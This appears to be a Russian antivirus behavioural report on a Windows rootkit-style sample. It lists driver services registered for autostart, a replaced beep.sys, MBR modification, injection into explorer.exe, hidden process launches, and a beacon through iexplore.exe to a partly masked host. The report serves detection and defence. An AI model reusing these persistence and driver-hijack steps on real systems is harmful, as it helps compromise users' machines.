Техническая информация
Для обеспечения автозапуска и распространения
Создает следующие сервисы
- [<HKLM>\System\CurrentControlSet\Services\mahpwgovckryfnub] 'ImagePath' = 'C:\Temp\mahpwgovckryfnub.sys'
- [<HKLM>\SYSTEM\CurrentControlSet\services\NtHook] 'ImagePath' = '<DRIVERS>\NtHook.sys'
- [<HKLM>\SYSTEM\CurrentControlSet\services\NtHook] 'Start' = '00000001'
- [<HKLM>\SYSTEM\CurrentControlSet\services\NtHook] 'ImagePath' = 'System32\Drivers\NtHook.sys'
- [<HKLM>\SYSTEM\CurrentControlSet\services\Beep] 'Start' = '00000001'
- [<HKLM>\SYSTEM\CurrentControlSet\services\Beep] 'ImagePath' = 'System32\Drivers\Beep.sys'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\NtHook] 'ImagePath' = 'C:\Temp\mtahzgnucj.sys'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\NtHook] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ahzgnucj] 'ImagePath' = 'C:\Temp\mtahzgnucj.sys'
Изменяет следующие исполняемые системные файлы
- <DRIVERS>\beep.sys
Модифицирует главную загрузочную запись (MBR).
Вредоносные функции
Запускает на исполнение
- '%ProgramFiles%\internet explorer\iexplore.exe' http://xy###s.com:2345/t.asp?os#####
Внедряет код в
следующие системные процессы:
- %WINDIR%\explorer.exe
Изменения в файловой системе
Создает следующие файлы
- C:\temp\createprocess.exe
- C:\temp\mahpwgovckryfnub.exe
- C:\temp\mahpwgovckryfnub.sys
- <DRIVERS>\nthook.sys
- <SYSTEM32>\safemon.dll
- <SYSTEM32>\dw.ini
- C:\temp\dlsgbwkpxl.exe
- C:\temp\i_dlsgbwkpxl.exe
- <DRIVERS>\beep.sys.new
- C:\temp\mtahzgnucj.sys
- <SYSTEM32>\dllcache\beep.sys.new
Удаляет следующие файлы
- C:\temp\mahpwgovckryfnub.sys
- C:\temp\dlsgbwkpxl.exe
- C:\temp\mtahzgnucj.sys
- C:\temp\i_dlsgbwkpxl.exe
Сетевая активность
Подключается к
- 'localhost':5152
UDP
- DNS ASK xy##ts.com
- DNS ASK t.###safe.com
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
Создает и запускает на исполнение
- 'C:\temp\mahpwgovckryfnub.exe' run
- 'C:\temp\createprocess.exe' C:\Temp\dlsgbwkpxl.exe ups_run
- 'C:\temp\dlsgbwkpxl.exe' ups_run
- 'C:\temp\createprocess.exe' <SYSTEM32>\ipconfig.exe /release
- 'C:\temp\createprocess.exe' C:\Temp\i_dlsgbwkpxl.exe ups_ins
- 'C:\temp\i_dlsgbwkpxl.exe' ups_ins
- 'C:\temp\createprocess.exe' <SYSTEM32>\ipconfig.exe /renew
- '%ProgramFiles%\internet explorer\iexplore.exe' http://xy###s.com:2345/t.asp?os#####' (со скрытым окном)
- '<SYSTEM32>\rundll32.exe' safemon.dll hook2' (со скрытым окном)
- 'C:\temp\dlsgbwkpxl.exe' ups_run' (со скрытым окном)
- '<SYSTEM32>\ipconfig.exe' /release' (со скрытым окном)
- 'C:\temp\i_dlsgbwkpxl.exe' ups_ins' (со скрытым окном)
- '<SYSTEM32>\ipconfig.exe' /renew' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\rundll32.exe' "%ProgramFiles%\Microsoft Office\Office12\GrooveUtil.DLL",GetResourceModulePath kyf0I/RXYZKhJYF5x6OQoYPTrBfN8FDN
- '<SYSTEM32>\rundll32.exe' safemon.dll hook2
- '<SYSTEM32>\ipconfig.exe' /release
- '<SYSTEM32>\ipconfig.exe' /renew
